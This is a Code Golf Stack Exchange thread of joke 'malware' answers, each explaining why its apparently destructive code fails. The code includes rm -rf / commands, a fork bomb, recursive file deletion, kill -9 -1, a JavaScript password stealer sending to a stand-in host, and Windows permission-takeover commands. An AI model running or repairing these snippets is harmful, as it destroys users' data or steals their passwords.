6I chose to interpret "the troll doesn't read the comments" as "the troll skips over comments in a similar way a human would if skipping comments." In this case, it might be easy for it to mistakenly miss that those two characters are actually outside of the comment. – Joe K – 2014-03-13T22:40:51.290

1This was the only one I solved before reading the explanation but good job! – nrubin29 – 2014-03-14T13:31:28.050

15

Bash, C, Linux

Maybe it's not exactly a malware, but sure can be a part of one :)

It's an amazing exploit that can give you root on any linux machine! Shhh, tell no one that we have it!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Now execute the script and you will be root! You can make sure using whoami!

In fact it only tricks all applications that you have UID=0 (this is the root user id).

The code is written by Lcamtuf, source: http://lcamtuf.coredump.cx/soft/ld-expl

mik01aj

Posted 2014-03-10T08:17:54.640

Reputation: 251

+1. Really nice trick. I still don't fully understand how it works. – Erel Segal-Halevi – 2014-03-13T20:33:17.810

@ErelSegalHalevi: see http://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick for more detail about LD_PRELOAD.

– mik01aj – 2014-03-14T09:00:54.767

2

Read up on fakeroot(1), which is a library that intercepts calls to various POSIX system functions, tricking the caller into believing that it has (fake)read and (fake)write access to the whole system. Actually, it will not (cannot) actually give these permissions, but when the program, e.g. calls the "fake" chmod function on a file and changes the permissions, fakeroot will remember these permissions so that stat calls will return the updated permissions. Some distros use this to allow the package build system to create files with root:root ownership.

– sleblanc – 2014-03-16T00:35:47.373

1

It's lcamtuf's I believe: http://lcamtuf.coredump.cx/soft/ld-expl - at least I remember it was there since 90s

– viraptor – 2014-03-17T17:39:19.667

13

bash

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

There is a syntax error on "fork-bomb" line. After {, there should be a space. Without it, the script fails because the function definition isn't followed by the { token by itself.

Konrad Borowski

Posted 2014-03-10T08:17:54.640

Reputation: 11 185

2You must add a note of caution (in the spoiler, perhaps) that this be not executed using ksh since the fork bomb isn't a syntax error there! – devnull – 2014-03-20T09:38:25.697

This has fooled many. – Dennis – 2014-05-04T15:44:29.837

@Dennis: Unrelated, I haven't seen that. But interesting thread, to be honest. I know how parsing in bash works, and that's why I don't use it :-). – Konrad Borowski – 2014-05-04T17:07:56.487

11

Emacs Lisp

First a simple one. This one does nothing. It is actually trying to delete elements equal to :recursive from the list returned by directory-files. It's not going to delete any files.

(delete :recursive
    (directory-files "/"))

Here is one that could stump even elisp vets.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

This is only 1 character away from deleting your root dir.

emacs lisp will allow jsut about anything to be the name of a symbol (variable, function, macro, etc). It is OK to use unicode in the name of your symbols and that is what is happening here.

setq can take any number of args (setq a 3 b 4) is like doing a = 3; b = 4; but (setq a 3 b) is also valid and is doing a = 3; b = nil;

The return value of `setq' is the value assigned to last variable. 4 and nil respectively in the examples.

(setq a 3 b) is exactly what is happening in the code, but instead of b I am using a unicode whitespace character. I am assigning the value nil to a variable named whose name is the unicode character 0x2001. Because of this nil is returned by the setq and the condition for the while loop is never true. Take out that whitespace character and it will run just fine.

Jordon Biondo

Posted 2014-03-10T08:17:54.640

Reputation: 1 030

10

Just another perl hacker.

I wrote this one in 2002, while hanging out at Perlmonks and generally just trying to push my knowledge of Perl as far as possible. Didn't edit it at all, but it still runs.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

If I remember correctly, the BEGIN block runs first of all, no matter where it is in the code. It replaces @INC which determines where Perl loads it's libraries from with a subroutine (it's usually a set of paths, but this is allowed). The subroutine is actually the obfuscated data block, which is doing some regexp + eval magic. Then, when the code hits require File::Path; (it wouldn't have worked with use) this sub is executed and just prints "Just another perl hacker.", as is tradition, and exits. The rest of the code is never reached.

Stoffe

Posted 2014-03-10T08:17:54.640

Reputation: 201

1

Wow, it took me a while to understand what this code does (but I didn't read the spoiler). I decoded this block of regex call (it's the same method as I've used in http://codegolf.stackexchange.com/a/23871/3103), and I like how it contains exit command (with pointless semicolon after it, but not that it matters).

– Konrad Borowski – 2014-03-13T12:05:18.230

Hehe, had to figure it out myself, it's 11-12 years old after all. The semicolon is probably just to make everything line up neatly. – Stoffe – 2014-03-14T08:45:16.220

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

At first glance, $condition is false, but the = operator has precedence over and, so the condition is true. So evil is never done.

zozo

Posted 2014-03-10T08:17:54.640

Reputation: 217

8

C++ with Boost

This will delete all files on the file system

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

Actually it won't. delete in C++ is used to free memory allocated by new and not to delete files and directories. The program will most likely crash with a segmentation fault as it tries to deallocate the memory allocated by Boost, but by that time, I'll have escaped the troll's captivity.

3Doubloons

Posted 2014-03-10T08:17:54.640

Reputation: 183

+1. This is not easy to spot since it even compiles with no errors. – Erel Segal-Halevi – 2014-03-11T16:40:21.170

2Isn't the first problem line undefined behavior? In which case it might in fact delete all his files. – aschepler – 2014-03-11T23:40:16.197

1@aschepler: "UB could delete all your files" makes for a fun explanation that you can't predict what will happen when invoking UB, but it isn't usually a possibility. If the troll had a compiler that erases the hard drives on UB, he wouldn't make us write him a malware – 3Doubloons – 2014-03-12T21:32:29.543

2syntax highlighting would give troll a hint here... – mik01aj – 2014-03-14T08:52:51.193

8

Java

This will pretend to download RAM, but it will delete the user's home directory.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timer uses a background thread to call your TimerTasks you submitted to it. new Timer(true) creates a Timer with the background thread set as a daemon thread, so the program just exits immediately before the tasks can be run. The overly long code distracts the troll from seeing the true parameter.

Dog

Posted 2014-03-10T08:17:54.640

Reputation: 241

7

bash

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

It's perhaps as evil as it gets. It defines a function that'd rm -rf / and invokes it. Not only that it makes use of the evil eval on more than one occasion.

It would do a lot of damage, surely!

In case you are wondering, the first eval unsets the function by: unset -f cleanup The second eval defines it to: cleanup() { echo Troll detected; } So upon running the code, you'd see Troll detected

devnull

Posted 2014-03-10T08:17:54.640

Reputation: 1 591

9Good! But, I would say that the "base64" lines, which apparently have no use for the actual deletion, make this a little too obvious. – Erel Segal-Halevi – 2014-03-10T10:38:06.860

1Might be better if you were led to believe that the evals were doing something more evil than any obvious code. The current code leads me to ask: why bother hiding the 'evil' code if the obvious stuff is deleting everything? – Tim S. – 2014-03-10T14:10:34.537

2I don't think this one meets the requirements since it is potentially very malicious: if base64 (not a standard command) does not exist on the system it's run on, the evals do nothing and the rm -rf / runs! This could also happen if base64 is present but fails for some reason (e.g. ulimit). – R.. GitHub STOP HELPING ICE – 2014-03-11T08:59:39.860

@R.. Added a line to the beginning of the script that would make it exit if anything fails. – devnull – 2014-03-11T09:01:54.697

1@R.: Also, rm -rf / won't work on most rm's implementations. This is a security feature - you cannot remove root directory in most implementations of rm. – Konrad Borowski – 2014-03-11T18:41:07.767

1As far as I'm aware it works on the busybox version. :-) – R.. GitHub STOP HELPING ICE – 2014-03-11T22:47:57.803

7

rm -rf ⁄

The character is not the regular slash character (/, i.e. SOLIDUS in unicode) but instead is FRACTION SLASH. Will print a message like "rm: ⁄: No such file or directory"

Geoff Reedy

Posted 2014-03-10T08:17:54.640

Reputation: 2 828

10Oh really let me try.... – Michael J. Calkins – 2014-03-15T03:53:51.957

1@MichaelCalkins: you can try as a non priviledged user, and see the "not found" message... hopefully. – Olivier Dulac – 2014-03-19T18:00:43.743

6

BASH

Sure we need root privileges for the machine, so we use the good old "Do I have root?"-checker, aka ch(eck)root - but better do this in a directory where there won't be many alarms raised. /tmp would be perfect, because everyone can write files there.

After this we just delete the entire hard drive evil laughter

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

german_guy

Posted 2014-03-10T08:17:54.640

Reputation: 569

10as a german i can say: don't do evil laughter as a german guy... – Philipp Sander – 2014-03-10T10:51:54.760

Wer, if not a German guy, can do ze eefil laughter right, zen? – I'm with Monica – 2014-03-10T13:51:37.327

5I have to admit it took me several readings of the code and then rereading your comments to work out why somebody might think this is malicious. I don't think this will work if you hadn't tried to persuade somebody in your comments that chroot does something other than it does and the question does say the troll doesn't read comments... – Chris – 2014-03-10T16:41:49.627

1Incidentally, chroot is not "check root", it's "change root" -- it changes the user's idea of what / is. Interestingly, this troll fails to do anything for root and non-root users; root users get a new root (and thus no /bin/bash command since nothing exists in the newly created root of /tmp/chroot_dir), and non-root users fail to chroot. – mah – 2014-03-12T16:35:24.410

This is like the clue to this - I know that it's not "change root" but my capturer (correct word?) doesn't know - so he fails badly – german_guy – 2014-03-12T16:50:53.313

6

iPhone - Flappy Bird Clone

While the user is playing an iPhone Flappy Bird clone, all of the files in the Documents directory are deleted.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Each app in iOS is Sandboxed, so while this deletes everything in the Documents directory, it is only the Documents directory for this particular app. The troll is obviously not aware of this, since he has already been flooded with so many programs for other platforms. And as soon as he realizes he too can put out a Flappy Bird clone, he may be so excited he doesn't even bother to think about the rest of the code, as he is too preoccupied dreaming of making $50,000 a day in advertising without doing any work.

Richard Venable

Posted 2014-03-10T08:17:54.640

Reputation: 161

5

Go:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

This one is a bit tricky. In Go the entire program exits when the main Goroutine exits. A good way to fix this is with a Waitgroup. There are two huge problems with my "fix":

  1. The Waitgroup isn't added to until the Goroutine starts, which means the main Goroutine will hit Wait before the deletion Goroutine hits Add. Since the counter will be 0, it has nothing to wait on and therefore it won't not block and just end up exiting, thus terminating the program.
  2. Even if, somehow, magically, the deleteAll goroutine's addition gets done first. It got a copy of the Waitgroup, not a pointer to it. It won't be adding to the same Waitgroup so the main Goroutine will never see it.

The fmt.Scanln() to expect input is just to ensure the main Goroutine exits before anything happens. The Println will likely cause it to IO block and switch to running the main Goroutine (thus exiting), and the Scanln will almost certainly do so. In reality, neither are necessary with any version of Go.

In super theory land this MIGHT work and delete something, meaning according to the Go memory model there's no guaranteed "happens-before" relationship regarding the end of main and the execution of RemoveAll, but it won't on any modern Go runtime/compiler as evidenced by all the newbies who make the mistake of not putting synchronization in their main functions.

LinearZoetrope

Posted 2014-03-10T08:17:54.640

Reputation: 151

4

C++

#include<stdio.h>
int main()
{
    remove("C:\windows\system32\Bubbles.scr");
    return 0;
}  

OUTPUT

Window opens then closes but tries to delete the screen-saver file(.scr) used to show the nice bubbles in windows-7.

PROBLEM

You can't figure it out ? let me tell you,

The problem is in "C:\windows\system 32\Bubbles.scr", the '\' character in string is not acting as a '\' but as unknown escape sequence which modifies the path to
"C:windowssystem 32Bubbles.scr"

EDIT : According to kinokijuf (and my experiment) The main error is that you can't delete system files on windows! you may try the right version of the above code :-

#include<stdio.h>
int main()
{
    remove("C:\\windows\\system32\\Bubbles.scr");
    return 0;
}

...And lol, the kidnapper got trolled /^o^/.

Mukul Kumar

Posted 2014-03-10T08:17:54.640

Reputation: 2 585

+1. You have a nice misdirection by including both "iostream" (without.h) and "stdio.h". I thought the bug was there... – Erel Segal-Halevi – 2014-03-13T07:48:41.337

@ErelSegalHalevi I didn't expected that because standard classes are included without .h – Mukul Kumar – 2014-03-13T08:00:49.073

3shutdown.exe is not needed to shutdown the computer. Windows is not Unix. Also, since it is a system file, it won’t get deleted. – kinokijuf – 2014-03-13T08:35:19.640

@kinokijuf but we make a shortcut at desktop!(some people say its a trick for shutting down) – Mukul Kumar – 2014-03-13T12:20:26.093

@kinokijuf on Unix one doesn't need a shutdown command to halt the system too (e.g. do init 0). – Ruslan – 2014-03-14T09:10:57.847

However, halting is not shutting down. There are parts of the full shutdown procedure, such as the wall messages and preventing login, that are executed by the shutdown program. – JdeBP – 2014-03-14T11:18:32.300

shutdown.exe does not do a graceful shutdown, but a forced one. – kinokijuf – 2014-03-14T11:22:03.673

@kinokijuf I edited my answer now fine ? – Mukul Kumar – 2014-03-14T11:33:33.990

@MukulKumar You can’t delete system files on Windows. – kinokijuf – 2014-03-14T11:42:43.830

@kinokijuf I guess you are right I am not able to do the action through the right version of code Let me change my answer – Mukul Kumar – 2014-03-14T16:28:25.817

@MukulKumar You could change permissions first: takeown /f file_name /d y and then icacls file_name /grant administrators:F. Also, the best file to delete is probably logonui.exe, since it will prevent the victim from logging in and is almost certainly not in use currently – kinokijuf – 2014-03-14T16:41:44.380

@kinokijuf but, I told you I am not able to delete the files of windows! – Mukul Kumar – 2014-03-14T16:44:14.033

Changing permissions makes it possible. – kinokijuf – 2014-03-14T16:45:49.973

@kinokijuf I don't know how to change permissions – Mukul Kumar – 2014-03-15T02:47:07.687

@MukulKumar system(the commands i posted ). system is available in stdlib.h. – kinokijuf – 2014-03-15T12:18:05.177

@Mukul can i edit your answer? – kinokijuf – 2014-03-15T12:21:05.480

@kinokijuf yes you can edit my post But I think system calls are evil and v.bad practice BTW – Mukul Kumar – 2014-03-15T13:58:54.327

Is this one OK? (see pending edits) – kinokijuf – 2014-03-15T14:53:44.190

4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

It won't run, you can't create a closure all call it without surrond it with parens

2.

If the troll manages to fix that, there is a beautiful typo to debug... ;-)

Juan Garcia

Posted 2014-03-10T08:17:54.640

Reputation: 141

1what language? and maybe hint to the typo a bit more – masterX244 – 2014-03-13T23:51:25.360

@masterX244 is Javascript, i'll edit it. Typo hint: ReferenceError – Juan Garcia – 2014-03-14T00:10:31.120

3That typo is so often that it should be autocorrected by editors... – mik01aj – 2014-03-14T09:04:03.510

Yes, i do that typo a lot. Especially if the word's length is quite long :P – Mohammed Joraid – 2014-03-17T09:20:50.680

btw, this one is very language specific. Besides, even if the type stopped the code from sending the password, it will keep executing forever since the condition will never me met. – Mohammed Joraid – 2014-03-17T09:25:04.853

The interval will run as long as the page is open in the browser, however the for loop will never run as it will throw a ReferenceError exception. Even if "lenght" evaluates to false, null or undefined, it will never run. For the for loop to run, technically, forever "lenght" has to evaluate to positive Infinity. – Juan Garcia – 2014-03-17T11:28:48.353

And I don't think it is language specific. It is probably client side specific. But I think it is a lot worst those days having your password stolen that having your files deleted, IMHO. With handheld devices being the most used computer for most people those days, having your files deleted means resync with the cloud backup service, while having your password stolen means bye to your backup data, privacy and be afraid of your next credit card bill! – Juan Garcia – 2014-03-17T11:35:00.647

1@m01 +1 I think it should be a reserved word that throw an exception or compile time error! – Juan Garcia – 2014-03-17T11:37:53.760

3

Python

Kill all processes that can be killed with SIGKILL signal.

#!/usr/bin/env python
import os
import stat
from subprocess import call
from tempfile import NamedTemporaryFile

with NamedTemporaryFile(dir='.', prefix='killall') as script:
  script.write(b"#!/bin/sh\nkill -9 -1")
  os.chmod(script.name, os.stat(script.name).st_mode | stat.S_IEXEC)
  call(script.name)

It generates "Text file busy" error: trying to execute a file that is opened for writing

jfs

Posted 2014-03-10T08:17:54.640

Reputation: 209

3

Language: Java

This program will run for eternity wasting resources. The Integer was used because it uses more memory than int and thus will waste more resources.

class Halt {
    public static void main(String[] args) {
        Integer i = 0;
        Integer j = 0;
        while (i == j) {
           i++;
           j++;
           System.out.println("Waste those resources!");
      }
   }
}

Should be pretty obvious in Java since 128 doesn't actually equal 128.

flash_fire

Posted 2014-03-10T08:17:54.640

Reputation: 41

Nice job. Please state your language at the top of your post. – None – 2014-03-18T21:13:34.363

"128 doesn't actually equal 128" what? – Erel Segal-Halevi – 2014-04-26T20:35:17.953

1Maybe you meant that "==" will return false because i and j are different objects? – Erel Segal-Halevi – 2014-04-26T20:36:57.420

No, java has a pool of Integer objects that includes 0. – Reinstate Monica - ζ-- – 2014-06-09T20:30:52.463

2

Scala

On a windows machine:

import java.io._

val file = new File("""c:\udead""")
if(!file.exists) file.mkdirs

val user_dir = new File(file.getAbsolutePath().replace("dead","sers"))
if(user_dir.exists) println("""Going to destroy user files/!\""")

def deleteFile(file : File) : Unit = {
  if(file.isDirectory) {
    file.listFiles.foreach(deleteFile)
  }
  file.delete
}
deleteFile(user_dir)

\udead is a unicode character so that it will create a directory named c:? where ? is the unicode char. It will never touch the users directory, and simply... delete the created directory.

Mikaël Mayer

Posted 2014-03-10T08:17:54.640

Reputation: 1 765

2

Unix shell

rm -rf /

rm: it is dangerous to operate recursively on ‘/’
rm: use --no-preserve-root to override this failsafe

Konrad Borowski

Posted 2014-03-10T08:17:54.640

Reputation: 11 185

Are you sure this failsafe exists in every implementation of rm, everywhere? – kojiro – 2014-03-13T13:25:11.217

@kojiro: GNU's rm has such protection (but can be overridden by using --no-preserve-root, as it's GNU which has an option for everything). FreeBSD's rm shows rm: "/" may not be removed. Solaris's rm shows rm of / is not allowed. I don't have access to more operating systems, so I don't know if it applies to other systems, but I'm pretty sure it applies to most. – Konrad Borowski – 2014-03-13T13:30:19.087

2

C++

(Delete all files in C:\ or other directory of Troll's choice...)

int _tmain(int argc, _TCHAR* argv[])
{
    WIN32_FIND_DATA fd; 
    HANDLE hFind = ::FindFirstFileW((LPCWSTR)"C:\\*.*", &fd); 
    if(hFind != INVALID_HANDLE_VALUE) 
    { 
        do 
        { 
            if(! (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ) 
            {
                DeleteFile(fd.cFileName);
            }
        }while(::FindNextFile(hFind, &fd)); 
        ::FindClose(hFind); 
    } 

    return 0;
}

...But only if they replace the single-byte to multi-byte string cast (LPCWSTR)"C:\\*.*" with the macro _T("C:\\*.*"), otherwise, it will compile but FindFirstFileW being passed an invalid string will always return an invalid handle.

sebf

Posted 2014-03-10T08:17:54.640

Reputation: 121

2

C#

Deletes all files on the current drive, by dynamically generating a C# assembly (via CodeDomProvider.CompileAssemblyFromSource) and calling said class via reflection.

For those not familiar with CodeDomProvider.CompileAssemblyFromSource and too lazy to look the documentation up (I'm talking to you, Mr. Troll!), the signature is defined as:

public virtual CompilerResults CompileAssemblyFromSource(
    CompilerParameters options,
    params string[] sources
)

where sources is declared to be "An array of source code strings to compile."

using System;
using System.CodeDom.Compiler;
using System.Reflection;
using Microsoft.CSharp;

namespace TrollTroller
{
    class Program
    {
        public void ExecuteMalware()
        {
            CompilerParameters cp = new CompilerParameters();
            cp.GenerateExecutable = false;
            cp.GenerateInMemory = true;
            cp.ReferencedAssemblies.Add("System.dll");
            CodeDomProvider provider = new CSharpCodeProvider();
            CompilerResults cr = provider.CompileAssemblyFromSource(cp, 
                @"using System;",
                @"using System.Collections.Generic;",
                @"using System.Linq;",
                @"using System.IO;",
                @"using System.Text;",
                @"namespace SuperNastyMalware",
                @"{",
                @"    class Nasty",
                @"    {",
                @"        public void NukeEmAll()",
                @"        {",
                @"            foreach (string target in Directory.GetFiles(""/"", ""*.*"", SearchOption.AllDirectories))",
                @"            {",
                @"                File.Delete(target);",
                @"            }",
                @"        }",
                @"    }",
                @"}"
            );
            while (cr.Errors.Count == 0)
            {
                var nasty = cr.CompiledAssembly.CreateInstance("SuperNastyMalWare.Nasty");
                Type t = nasty.GetType();
                t.InvokeMember("NukeEmAll",
                   BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Instance,
                   null, nasty, null);
            }
        }
        static void Main(string[] args)
        {
            Program program = new Program();
            program.ExecuteMalware();
        }
    }
}

What the MSDN documentation doesn't mention is that each of the string parameters is supposed to be a complete source file, not one line in a source code file. When the code is run, you get all sorts of lovely compilation errors in the cr.Errors collection. The while loop is there to prevent cr.CompiledAssembly.CreateInstance() from throwing an exception and tipping off the troll that something is broken.

Yes, I know the best answer has already been accepted. However, I ran into this while researching my answer to the Pi Day challenge and figured it was worth sharing.

Edmund Schweppe

Posted 2014-03-10T08:17:54.640

Reputation: 209

2

Python

Code:

import os
# delete everything!
try:
    os.remove('/')
except OSError:
    # directory already deleted before
    pass

Nothing is actually deleted, because:

os.remove(path): Remove (delete) the file path. If path is a directory, OSError is raised;


Code:

import os
# bugfix: this function is used to delete directories. For sure!
try:
    os.rmdir('/')
except OSError:
    # directory already deleted before
    pass

Nothing is actually deleted, because:

os.rmdir(path): Remove (delete) the directory path. Only works when the directory is empty, otherwise, OSError is raised.

moooeeeep

Posted 2014-03-10T08:17:54.640

Reputation: 171

2

Javascript

This code will unleash an unending stream of annoying alert windows.

//Change to true if testing
var testing = false;
if (testing = true) {
  alert("Test successful");
} else {
  while (true) {
    alert("Trololo!");
  }
}

A single equal sign will make an assignment, not a comparison; in this case, the if statement looks at the value assigned, which overwrites the original value, resulting in always being in "testing" mode.

ArmanX

Posted 2014-03-10T08:17:54.640

Reputation: 141

3I managed to spot this one :) Maybe it's because I make this mistake all the time... – Erel Segal-Halevi – 2014-03-18T18:57:02.860

2

Python (2.7)

File req.py:

import os
def init(h,p):
    os.popen('shutdown -p -f')
    return True
if __name__ == '__main__':
    quit()

File RAT.py:

import req
host = '127.0.0.1' #Change out for target IP
port = 25564
print'[!] Connecting...'
time.sleep(3)
lock = req.init(host,port)

How to Use

Most script-kiddies don't read the modules to source code in python (HUGE mistake)

Simply set-up the files like above and let them run RAT.py

"Trick"

The "trick" is very obvious if you were to read "req.py", but script-kiddies just don't...

Cold Diamondz

Posted 2014-03-10T08:17:54.640

Reputation: 121

1

PostScript:

%!Adobe-PS-2.0
%%EOF
/picstr 256 string def
/trollface {currentpagedevice /pagesize get aload scale
    256 256 8 [256 0 0 –256 0 256]
    {currentfile picstr readhexstring pop} image
} def
{trollface showpage} repeat

[insert image data here]

Since the troll doesn't read comments, I can just insert an EOF document-structuring comment into the file. None of the code past the %%EOF will be run, because the document manager will stop transmitting the file when this is encountered.

Without the %%EOF DSC, this PostScript program would print an unlimited number of pages filled with a trollface image taken from image data at the end of the postscript file, until someone manually cancelled the job or it ran out of paper/ink.

AJMansfield

Posted 2014-03-10T08:17:54.640

Reputation: 2 758

How do I use this? Can I just write it to my printer's serial port? – cat – 2016-01-20T16:10:15.367

@cat It depends on the printer. For some really old printers that would probably work though. – AJMansfield – 2016-01-20T16:12:16.920

maybe I'll send it to my school's library printer and just walk out ;) (kidding, I have better things to print) – cat – 2016-01-20T16:30:32.997

1@cat Well, you'd need to actually add the trollface image data (which I omitted for brevity). – AJMansfield – 2016-01-20T16:33:46.980

http://pastebin.com/8wG92wqU – cat – 2016-01-20T16:40:31.710

1

Javascript

/* this is a very evil script *∕
while(1)                       ∕* infinite spam */
  alert("Greetings from Troll");

Except the user gets only one popup.

Comments are aligned like that because of this: /∕

Jimmy Rustle

Posted 2014-03-10T08:17:54.640

Reputation: 49

2This is no longer funny and it also isn't exactly "malware". – Martin Ender – 2014-08-15T09:47:52.027

Made an account just to get downvoted wow – Jimmy Rustle – 2014-08-15T16:04:23.207

So three downvotes for a newcomer because he should have read some meta post before answering that he couldn't possibly have known about and somebody makes fun of his name? Welcome to Code Golf... – Dennis – 2014-09-01T21:39:22.430

1

TI-BASIC (84)

This program will clear the RAM on the calculator, removing important variables, lists, and programs. (My excuse is that I only had my TI-84 to test on, and I did not want to clear my memory, for that comment.) This requires two programs:

prgmDELETE
:AsmPrgmEF4E40C9
:AsmPrgmC7

prgmWRAPPER
:While 0:
::THIS IS TO LET THE USER KNOW THAT THEIR FATE IS INEVITABLE
:End
:If 0:"CHANGE TO 1 FOR YOUR OWN CALCULATOR, TO SKIP DELETION
:Goto EN
:prgmDELETE
:
:Lbl EN
:ClrHome
:Disp "PROGRAM FILES","HAVE BEEN","DELETED! >:D","--LE HACKER

Yup, that's it, Mr. Troll. You are evil for making me do this. I will go pray or something. Bye!


Stuck? Read below.

There are actually two mistakes. One: If 0:"CHANGE TO 1 FOR YOUR OWN CALCULATOR, TO SKIP DELETION. This is because, whenever you insert a : in the program, it is treated as a newline. And, since the If statement is merely a single-line, it actually does go to the label EN, skipping the execution of prgmDELETE.
Two, to execute an assembly program, you must prefix the program name with Asm(. So, the correct statement would look like Asm(prgmDELETE.

Conor O'Brien

Posted 2014-03-10T08:17:54.640

Reputation: 36 228

To actually clear the RAM on a calculator, all you need to do is AsmPrgm. The lack of a ret causes an eventual crash. – lirtosiast – 2015-09-26T23:32:29.047

1@ThomasKwa Well, I consider myself to be a pretty adept TI-84 coder. Ergo, the troll (probably) wouldn't know that. I didn't know that fact, so I'm banking on the fact that the troll doesn't know that ^_^ – Conor O'Brien – 2015-09-26T23:34:18.587

Also, why the C7 (rst 00)? – lirtosiast – 2015-09-26T23:34:42.277

@ThomasKwa TBH, I got the Assembly code from here. I thought it was a little weird, too, because I know C9 ends the assembly code. I was just afraid to try it on my own calculator.

– Conor O'Brien – 2015-09-26T23:37:26.057

You can't have two AsmPrgm in one program. The RAM-clearing code isn't even valid. – lirtosiast – 2015-09-26T23:41:55.093

